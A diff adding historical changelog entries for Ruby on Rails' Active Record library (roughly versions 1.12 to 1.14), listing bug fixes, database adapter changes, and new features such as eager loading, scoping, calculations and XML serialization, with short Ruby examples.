+* Allow :dependent options to be used with polymorphic joins. #3820 [Rick Olson]
+
+    class Foo < ActiveRecord::Base
+      has_many :attachments, :as => :attachable, :dependent => :delete_all
+    end
+
+* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay at gmail.com]
+
+* Upgrade to Transaction::Simple 1.3 [Jamis Buck]
+
+* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model [Rick Olson]
+
+* Allow ordering of calculated results and/or grouped fields in calculations [solo at gatelys.com]
+
+* Make ActiveRecord::Base#save! return true instead of nil on success.  #4173 [johan at johansorensen.com]
+
+* Dynamically set allow_concurrency.  #4044 [Stefan Kaes]
+
+* Added Base#to_xml that'll turn the current record into a XML representation [DHH]. Example:
+
+    topic.to_xml
+  
+  ...returns:
+  
+    <?xml version="1.0" encoding="UTF-8"?>
+    <topic>
+      <title>The First Topic</title>
+      <author-name>David</author-name>
+      <id type="integer">1</id>
+      <approved type="boolean">false</approved>
+      <replies-count type="integer">0</replies-count>
+      <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
+      <written-on type="datetime">2003-07-16 09:28:00</written-on>
+      <content>Have a nice day</content>
+      <author-email-address>david at loudthinking.com</author-email-address>
+      <parent-id></parent-id>
+      <last-read type="date">2004-04-15</last-read>
+    </topic>
+  
+  ...and you can configure with:
+  
+    topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
+  
+  ...that'll return:
+  
+    <topic>
+      <title>The First Topic</title>
+      <author-name>David</author-name>
+      <approved type="boolean">false</approved>
+      <content>Have a nice day</content>
+      <author-email-address>david at loudthinking.com</author-email-address>
+      <parent-id></parent-id>
+      <last-read type="date">2004-04-15</last-read>
+    </topic>
+  
+  You can even do load first-level associations as part of the document:
+  
+    firm.to_xml :include => [ :account, :clients ]
+  
+  ...that'll return something like:
+  
+    <?xml version="1.0" encoding="UTF-8"?>
+    <firm>
+      <id type="integer">1</id>
+      <rating type="integer">1</rating>
+      <name>37signals</name>
+      <clients>
+        <client>
+          <rating type="integer">1</rating>
+          <name>Summit</name>
+        </client>
+        <client>
+          <rating type="integer">1</rating>
+          <name>Microsoft</name>
+        </client>
+      </clients>
+      <account>
+        <id type="integer">1</id>
+        <credit-limit type="integer">50</credit-limit>
+      </account>
+    </firm>  
+
+* Allow :counter_cache to take a column name for custom counter cache columns [Jamis Buck]
+
+* Documentation fixes for :dependent [robby at planetargon.com]
+
+* Stop the MySQL adapter crashing when views are present. #3782 [Jonathan Viney]
+
+* Don't classify the belongs_to class, it is already singular #4117 [keithm at infused.org]
+
+* Allow set_fixture_class to take Classes instead of strings for a class in a module.  Raise FixtureClassNotFound if a fixture can't load.  [Rick Olson]
+
+* Fix quoting of inheritance column for STI eager loading #4098 [Jonathan Viney <jonathan at bluewire.net.nz>]
+
+* Added smarter table aliasing for eager associations for multiple self joins #3580 [Rick Olson]
+
+    * The first time a table is referenced in a join, no alias is used.
+    * After that, the parent class name and the reflection name are used.
+    
+        Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
+    
+    * Any additional join references get a numerical suffix like '_2', '_3', etc.
+
+* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
+
+* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna at wota.jp]. Examples:
+
+    # cascaded in two levels
+    >> Author.find(:all, :include=>{:posts=>:comments})
+    => authors
+         +- posts
+              +- comments
+    
+    # cascaded in two levels and normal association
+    >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
+    => authors
+         +- posts
+              +- comments
+         +- categorizations
+    
+    # cascaded in two levels with two has_many associations
+    >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
+    => authors
+         +- posts
+              +- comments
+              +- categorizations
+    
+    # cascaded in three levels
+    >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
+    => companies
+         +- groups
+              +- members
+                   +- favorites
+    
+* Make counter cache work when replacing an association #3245 [eugenol at gmail.com]
+
+* Make migrations verbose [Jamis Buck]
+
+* Make counter_cache work with polymorphic belongs_to [Jamis Buck]
+
+* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 [anna at wota.jp]
+
+* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
+
+    * Does not support DATE SQL column types; use DATETIME instead.
+    * Date columns on HABTM join tables are returned as String, not Time.
+    * Insertions are potentially broken for :polymorphic join tables
+    * BLOB column access not yet fully supported
+
+* Clear stale, cached connections left behind by defunct threads. [Jeremy Kemper]
+
+* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false.  Most AR usage is in single-threaded applications. [Jeremy Kemper]
+
+* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [schoenm at earthlink.net]
+
+* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [DHH]
+
+* Speed up class -> connection caching and stale connection verification.  #3979 [Stefan Kaes]
+
+* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. [Kevin Clark]
+
+* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 [dblack at wobblini.net]
+
+* Define attribute query methods to avoid method_missing calls. #3677 [jonathan at bluewire.net.nz]
+
+* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome.  #3591 [Simon Stapleton, Tom Ward]
+
+* Added support for nested scopes #3407 [anna at wota.jp]. Examples:
+
+    Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
+      Developer.find(:all)     # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
+
+      # inner rule is used. (all previous parameters are ignored)
+      Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
+        Developer.find(:all)   # => SELECT * FROM developers WHERE (name = 'Jamis')
+      end
+
+      # parameters are merged
+      Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
+        Developer.find(:all)   # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
+      end
+    end
+
+* Fixed db2 connection with empty user_name and auth options #3622 [phurley at gmail.com]
+
+* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 [Masao Mutoh]
+
+* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [lars at pind.com]
+
+* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
+
+    Person.average :age
+    Person.minimum :age
+    Person.maximum :age
+    Person.sum :salary, :group => :last_name
+
+* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [contact at lukeredpath.co.uk]
+
+* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. [Jeremy Kemper]
+
+* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 [Aggregated by schoenm at earthlink.net]
+
+* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 [rubyonrails at atyp.de]
+
+* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [skaes]
+
+* Correct syntax error in mysql DDL,  and make AAACreateTablesTest run first [Bob Silva]
+
+* Allow :include to be used with has_many :through associations #3611 [Michael Schoen]
+
+* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table).  #2920 [Blair Zajac]
+
+* SQLServer: more compatible limit/offset emulation.  #3779 [Tom Ward]
+
+* Polymorphic join support for has_one associations (has_one :foo, :as => :bar)  #3785 [Rick Olson]
+
+* PostgreSQL: correctly parse negative integer column defaults.  #3776 [bellis at deepthought.org]
+
+* Fix problems with count when used with :include [Jeremy Hopple and Kevin Clark]
+
+* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Luetke]
+
+* Using AssociationCollection#build with arrays of hashes should call build, not create [DHH]
+
+* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. [Nicholas Seckar]
+
+* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 [Maik Schmidt]
+
+* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [shugo at ruby-lang.org]
+
+* Add documentation for add_index and remove_index. #3600 [Manfred Stienstra <m.stienstra at fngtps.com>]
+
+* If the OCI library is not available, raise an exception indicating as much. #3593 [schoenm at earthlink.net]
+
+* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. [Rick Olson]
+
+* Make dynamic finders honor additional passed in :conditions. #3569 [Oleg Pudeyev <pudeyo at rpi.edu>, Marcel Molina Jr.]
+
+* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. [Nicholas Seckar]
+
+* Make .count work for has_many associations with multi line finder sql [schoenm at earthlink.net]
+
+* Add AR::Base.base_class for querying the ancestor AR::Base subclass [Jamis Buck]
+
+* Allow configuration of the column used for optimistic locking [wilsonb at gmail.com]
+
+* Don't hardcode 'id' in acts as list.  [ror at philippeapril.com]
+
+* Fix date errors for SQLServer in association tests. #3406 [kevin.clark at gmal.com]
+
+* Escape database name in MySQL adapter when creating and dropping databases. #3409 [anna at wota.jp]
+
+* Disambiguate table names for columns in validates_uniquness_of's WHERE clause. #3423 [alex.borovsky at gmail.com]
+
+* .with_scope imposed create parameters now bypass attr_protected [Tobias Luetke]
+
+* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. [Marcel Molina Jr.]
+
+* Multiple enhancements and adjustments to DB2 adaptor. #3377 [contact at maik-schmidt.de]
+
+* Sanitize scoped conditions. [Marcel Molina Jr.]
+
+* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [DHH]
+
+* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [TobiasLuetke]
+
+* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [TobiasLuetke]
+
+* Fixed that saving a model with multiple habtm associations would only save the first one.  #3244 [yanowitz-rubyonrails at quantumfoam.org, Florian Weber]
+
+* Fix change_column to work with PostgreSQL 7.x and 8.x.  #3141 [wejn at box.cz, Rick Olson, Scott Barron] 
+
+* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Luetke] 
+
+* made method missing delegation to class methods on relation target work on :through associations. [Tobias Luetke] 
+
+* made .find() work on :through relations. [Tobias Luetke] 
+
+* Fix typo in association docs. #3296. [Blair Zajac]
+
+* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Luetke] 
+
+*1.13.2* (December 13th, 2005)
+
+* Become part of Rails 1.0
+
+* MySQL: allow encoding option for mysql.rb driver.  [Jeremy Kemper]
+
+* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [DHH]. Example:
+
+    class Post
+      has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
+    end
+    
+    post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
+    post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
+    post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
+
+* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [DHH]
+
+* MySQL: fixes for the bundled mysql.rb driver.  #3160 [Justin Forder]
+
+* SQLServer: fix obscure optimistic locking bug.  #3068 [kajism at yahoo.com]
+
+* SQLServer: support uniqueidentifier columns.  #2930 [keithm at infused.org]
+
+* SQLServer: cope with tables names qualified by owner.  #3067 [jeff at ministrycentered.com]
+
+* SQLServer: cope with columns with "desc" in the name.  #1950 [Ron Lusk, Ryan Tomayko]
+
+* SQLServer: cope with primary keys with "select" in the name.  #3057 [rdifrango at captechventures.com]
+
+* Oracle: active? performs a select instead of a commit.  #3133 [Michael Schoen]
+
+* MySQL: more robust test for nullified result hashes.  #3124 [Stefan Kaes]
+
+* Reloading an instance refreshes its aggregations as well as its associations.  #3024 [François Beausolei]
+
+* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 [Paul Hammmond]
+
+* PostgreSQL: more robust sequence name discovery.  #3087 [Rick Olson]
+
+* Oracle: use syntax compatible with Oracle 8.  #3131 [Michael Schoen]
+
+* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat.  Eliminate usage of mysql.ping because it doesn't guarantee reconnect.  Explicitly close and reopen the connection instead.  [Jeremy Kemper]
+
+* Added preliminary support for polymorphic associations [DHH]
+
+* Added preliminary support for join models [DHH]
+
+* Allow validate_uniqueness_of to be scoped by more than just one column.  #1559. [jeremy at jthopple.com, Marcel Molina Jr.]
+
+* Firebird: active? and reconnect! methods for handling stale connections.  #428 [Ken Kunz <kennethkunz at gmail.com>]
+
+* Firebird: updated for FireRuby 0.4.0.  #3009 [Ken Kunz <kennethkunz at gmail.com>]
+
+* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver.  #428 [Jeremy Kemper]
+
+* Oracle: active? check pings the database rather than testing the last command status.  #428 [Michael Schoen]
+
+* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find.  #2974 [kajism at yahoo.com]
+
+* Reloading a model doesn't lose track of its connection.  #2996 [junk at miriamtech.com, Jeremy Kemper]
+
+* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 [colman at rominato.com, Florian Weber, Michael Schoen]
+
+* MySQL, PostgreSQL: reconnect! also reconfigures the connection.  Otherwise, the connection 'loses' its settings if it times out and is reconnected.  #2978 [Shugo Maeda]
+
+* has_and_belongs_to_many: use JOIN instead of LEFT JOIN.  [Jeremy Kemper]
+
+* MySQL: introduce :encoding option to specify the character set for client, connection, and results.  Only available for MySQL 4.1 and later with the mysql-ruby driver.  Do SHOW CHARACTER SET in mysql client to see available encodings.  #2975 [Shugo Maeda]
+
+* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test  databases. [Marcel Molina Jr.]
+
+* Correct boolean handling in generated reader methods.  #2945 [don.park at gmail.com, Stefan Kaes]
+
+* Don't generate read methods for columns whose names are not valid ruby method names.  #2946 [Stefan Kaes]
+
+* Document :force option to create_table.  #2921 [Blair Zajac <blair at orcaware.com>]
+
+* Don't add the same conditions twice in has_one finder sql.  #2916 [Jeremy Evans]
+
+* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
+
+* Introducing the Firebird adapter.  Quote columns and use attribute_condition more consistently.  Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter  #1874 [Ken Kunz <kennethkunz at gmail.com>]
+
+* SQLServer: active? and reconnect! methods for handling stale connections.  #428 [kajism at yahoo.com, Tom Ward <tom at popdog.net>]
+
+* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array.  #1345 [MarkusQ at reality.com]
+
+* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY.  #2866 [kajism at yahoo.com, Tom Ward <tom at popdog.net>]
+
+* Oracle: active? and reconnect! methods for handling stale connections.  Optionally retry queries after reconnect.  #428 [Michael Schoen <schoenm at earthlink.net>]
+
+* Correct documentation for Base.delete_all.  #1568 [Newhydra]
+
+* Oracle: test case for column default parsing.  #2788 [Michael Schoen <schoenm at earthlink.net>]
+
+* Update documentation for Migrations.  #2861 [Tom Werner <tom at cube6media.com>]
+
+* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection.  Connection adapter must respond to the active? and reconnect! instance methods.  Initial support for PostgreSQL, MySQL, and SQLite.  Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil?  #428 [Jeremy Kemper]
+
+* Oracle: Much faster column reflection.  #2848 [Michael Schoen <schoenm at earthlink.net>]
+
+* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing).  Base.define_attr_method allows nil values.  [Jeremy Kemper]
+
+* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence.  [Jeremy Kemper]
+
+* PostgreSQL: correctly discover custom primary key sequences.  #2594 [Blair Zajac <blair at orcaware.com>, meadow.nnick at gmail.com, Jeremy Kemper]
+
+* SQLServer: don't report limits for unsupported field types.  #2835 [Ryan Tomayko]
+
+* Include the Enumerable module in ActiveRecord::Errors.  [Rick Bradley <rick at rickbradley.com>]
+
+* Add :group option, correspond to GROUP BY, to the find method and to the has_many association.  #2818 [rubyonrails at atyp.de]
+
+* Don't cast nil or empty strings to a dummy date.  #2789 [Rick Bradley <rick at rickbradley.com>]
+
+* acts_as_list plays nicely with inheritance by remembering the class which declared it.  #2811 [rephorm at rephorm.com]
+
+* Fix sqlite adaptor's detection of missing dbfile or database declaration. [Nicholas Seckar]
+
+* Fixed acts_as_list for definitions without an explicit :order #2803 [jonathan at bluewire.net.nz]
+
+* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support.  Local change [301] is now a part of the main driver; reapplied local change [2182].  Removed GC.start from Result.free.  [tommy at tmtm.org, akuroda at gmail.com, Doug Fales <doug.fales at gmail.com>, Jeremy Kemper]
+
+* Correct handling of complex order clauses with SQL Server limit emulation.  #2770 [Tom Ward <tom at popdog.net>, Matt B.]
+
+* Correct whitespace problem in Oracle default column value parsing.  #2788 [rick at rickbradley.com]
+
+* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy.  This allows you to act on the habtm association as you please while preserving referential integrity.  #2065 [larrywilliams1 at gmail.com, sam.kirchmeier at gmail.com, elliot at townx.org, Jeremy Kemper]
+
+* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all.  [Jeremy Kemper]
+
+* More compatible Oracle column reflection.  #2771 [Ryan Davis <ryand-ruby at zenspider.com>, Michael Schoen <schoenm at earthlink.net>]
+
+
+*1.13.0* (November 7th, 2005)
+
+* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 [Ryan Tomayko]
+
+* Added :include as an option for association declarations [DHH]. Example:
+
+    has_many :posts, :include => [ :author, :comments ]
+
+* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints.  Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes.  [Jeremy Kemper]  Example:
+
+    Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
+      # Find where name = ? and active=true
+      Comment.find :all, :conditions => ['name = ?', name]
+      # Create comment associated with :post_id
+      Comment.create :body => "Hello world"
+    end
+
+* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 [Ryan Tomayko]
+
+* Added constrain scoping for creates using a hash of attributes bound to the :creation key [DHH]. Example:
+
+    Comment.constrain(:creation => { :post_id => 5 }) do
+      # Associated with :post_id
+      Comment.create :body => "Hello world"
+    end
+  
+  This is rarely used directly, but allows for find_or_create on associations. So you can do:
+  
+    # If the tag doesn't exist, a new one is created that's associated with the person
+    person.tags.find_or_create_by_name("Summer")
+
+* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [DHH]. Example:
+
+    # No 'Summer' tag exists
+    Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
+    
+    # Now the 'Summer' tag does exist
+    Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
+
+* Added extension capabilities to has_many and has_and_belongs_to_many proxies [DHH]. Example:
+
+    class Account < ActiveRecord::Base
+      has_many :people do
+        def find_or_create_by_name(name)
+          first_name, *last_name = name.split
+          last_name = last_name.join " "
+
+          find_or_create_by_first_name_and_last_name(first_name, last_name)
+        end
+      end
+    end
+
+    person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
+    person.first_name # => "David"
+    person.last_name  # => "Heinemeier Hansson"
+
+  Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
+
+* Omit internal dtproperties table from SQLServer table list.  #2729 [rtomayko at gmail.com]
+
+* Quote column names in generated SQL.  #2728 [rtomayko at gmail.com]
+
+* Correct the pure-Ruby MySQL 4.1.1 shim's version test.  #2718 [Jeremy Kemper]
+
+* Add Model.create! to match existing model.save! method.  When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors).  [Jeremy Kemper]
+
+* Correct fixture behavior when table name pluralization is off.  #2719 [Rick Bradley <rick at rickbradley.com>]
+
+* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 [Dan Peterson]
+
+* Added migration support for Oracle #2647 [Michael Schoen]
+
+* Worked around that connection can't be reset if allow_concurrency is off.  #2648 [Michael Schoen <schoenm at earthlink.net>]
+
+* Fixed SQL Server adapter to pass even more tests and do even better #2634 [rtomayko at gmail.com]
+
+* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 [Tom Ward]
+
+* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 [Tom Ward]
+
+* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility.  #2618 [dansketcher at gmail.com]
+
+* Constraints are cloned so they can't be inadvertently modified while they're
+in effect.  Added :readonly finder constraint.  Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true.  [Jeremy Kemper <rails at bitsweat.net>]
+
+* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 [duane.johnson at gmail.com]
+
+* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [schoenm at earthlink.net]
+
+* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 [maik schmidt]
+
+
+*1.12.2* (October 26th, 2005)
+
+* Allow symbols to rename columns when using SQLite adapter. #2531 [kevin.clark at gmail.com]
+
+* Map Active Record time to SQL TIME.  #2575, #2576 [Robby Russell <robby at planetargon.com>]
+
+* Clarify semantics of ActiveRecord::Base#respond_to?  #2560 [skaes at web.de]
+
+* Fixed Association#clear for associations which have not yet been accessed. #2524 [Patrick Lenz <patrick at lenz.sh>]
+
+* HABTM finders shouldn't return readonly records.  #2525 [Patrick Lenz <patrick at lenz.sh>]
+
+* Make all tests runnable on their own. #2521. [Blair Zajac <blair at orcaware.com>]
+
+
+*1.12.1* (October 19th, 2005)
+
+* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
+
+* Correct PostgreSQL primary key sequence detection.  #2507 [tmornini at infomania.com]
+
+* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
+
+
+*1.12.0* (October 16th, 2005)
+
+* Update/clean up documentation (rdoc)
+
+* PostgreSQL sequence support.  Use set_sequence_name in your model class to specify its primary key sequence.  #2292 [Rick Olson <technoweenie at gmail.com>, Robby Russell <robby at planetargon.com>]
+
+* Change default logging colors to work on both white and black backgrounds. [Sam Stephenson]
+
+* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table.  #1896 [purestorm at ggnore.net]
+
+* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 [Robby Russell <robby at planetargon.com>] 
+
+* Introduce read-only records.  If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save.  object.readonly? reports whether the object is read-only.  Passing :readonly => true to any finder method will mark returned records as read-only.  The :joins option now implies :readonly, so if you use this option, saving the same record will now fail.  Use find_by_sql to work around.
+
+* Avoid memleak in dev mode when using fcgi
+
+* Simplified .clear on active record associations by using the existing delete_records method. #1906 [Caleb <me at cpb.ca>]
+
+* Delegate access to a customized primary key to the conventional id method. #2444. [Blair Zajac <blair at orcaware.com>]
+
+* Fix errors caused by assigning a has-one or belongs-to property to itself
+
+* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped [Sam Stephenson]
+
+* Update DB2 adapter. #2206. [contact at maik-schmidt.de]
+
+* Corrections to SQLServer native data types. #2267.  [rails.20.clarry at spamgourmet.com]
+
+* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
+
+* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. [Blair Zajac <blair at orcaware.com>]
+
+* Misc doc fixes (typos/grammar/etc.). #2430. [coffee2code]
+
+* Add test coverage for content_columns. #2432. [coffee2code]
+
+* Speed up for unthreaded environments. #2431. [skaes at web.de]
+
+* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3.  #2426. [skaes at web.de]
+
+* Speed up the setting of table_name. #2428. [skaes at web.de]
+
+* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [skaes at web.de]
+
+* Fix typo of 'constrains' to 'contraints'. #2069. [Michael Schuerig <michael at schuerig.de>]
+
+* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [skaes at web.de]
+
+* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. [Michael Schuerig <michael at schuerig.de>]
+
+* Add geometric type for postgresql adapter. #2233 [akaspick at gmail.com]
+
+* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [skaes at web.de]
+
+* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [skaes at web.de]
+
+* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363  [Chad Fowler <chad at chadfowler.com>, Nicholas Seckar]
+
+* Added :force option to create_table that'll try to drop the table if it already exists before creating
+
+* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. [Nicholas Seckar]
+
+* Use foreign_key inflection uniformly.  #2156 [Blair Zajac <blair at orcaware.com>]
+
+* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys.  #2221 [joergd at pobox.com, ObieFernandez <obiefernandez at gmail.com>]
+
+* Returning false from before_destroy should cancel the action.  #1829 [Jeremy Huffman]
+
+* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type.  #2256 [mat <mat at absolight.fr>]
+
+* Extensive documentation for the abstract database adapter.  #2250 [François Beausoleil <fbeausoleil at ftml.net>]
+
+* Clean up Fixtures.reset_sequences for PostgreSQL.  Handle tables with no rows and models with custom primary keys.  #2174, #2183 [jay at jay.fm, Blair Zajac <blair at orcaware.com>]
+
+* Improve error message when nil is assigned to an attr which validates_size_of within a range.  #2022 [Manuel Holtgrewe <purestorm at ggnore.net>]
+
+* Make update_attribute use the same writer method that update_attributes uses.
+ #2237 [trevor at protocool.com]
+
+* Make migrations honor table name prefixes and suffixes. #2298 [Jakob S, Marcel Molina]
+
+* Correct and optimize PostgreSQL bytea escaping.  #1745, #1837 [dave at cherryville.org, ken at miriamtech.com, bellis at deepthought.org]
+
+* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id.  #1749 [chris at chrisbrinker.com]
+
+* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
+
+* Added new symbol-driven approach to activating observers with Base#observers= [DHH]. Example:
+
+    ActiveRecord::Base.observers = :cacher, :garbage_collector
+
+* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 [solo at gatelys.com]
+
+* Wrap :conditions in parentheses to prevent problems with OR's #1871 [Jamis Buck]
+
+* Allow the postgresql adapter to work with the SchemaDumper. [Jamis Buck]
+
+* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. [Jamis Buck]
+
+* Fixed migrations for Windows when using more than 10 [David Naseby]
+
+* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 [Florian Weber]
+
+* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Luetke]
+
+* Improved migrations' behavior when the schema_info table is empty. [Nicholas Seckar]
+
+* Fixed that Observers didn't observe sub-classes #627 [Florian Weber]
+
+* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina]
+
+* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 [skae]
+
+* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 [Florian Weber]
+
+* Added better exception error when unknown column types are used with migrations #1814 [fbeausoleil at ftml.net]
+
+* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 [kajism at yahoo.com]
+
+* Fixed comparison of Active Record objects so two new objects are not equal #2099 [deberg]
+
+* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 [Tom Ward]
+
+* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 [coffee2code]
+
+* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 [sd at notso.net]
+
+* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
+
+* Make sure the schema_info table is created before querying the current version #1903
+
+* Fixtures ignore table name prefix and suffix #1987 [Jakob S]
+
+* Add documentation for index_type argument to add_index method for migrations #2005 [blaine at odeo.com]
+
+* Modify read_attribute to allow a symbol argument #2024 [Ken Kunz]
+
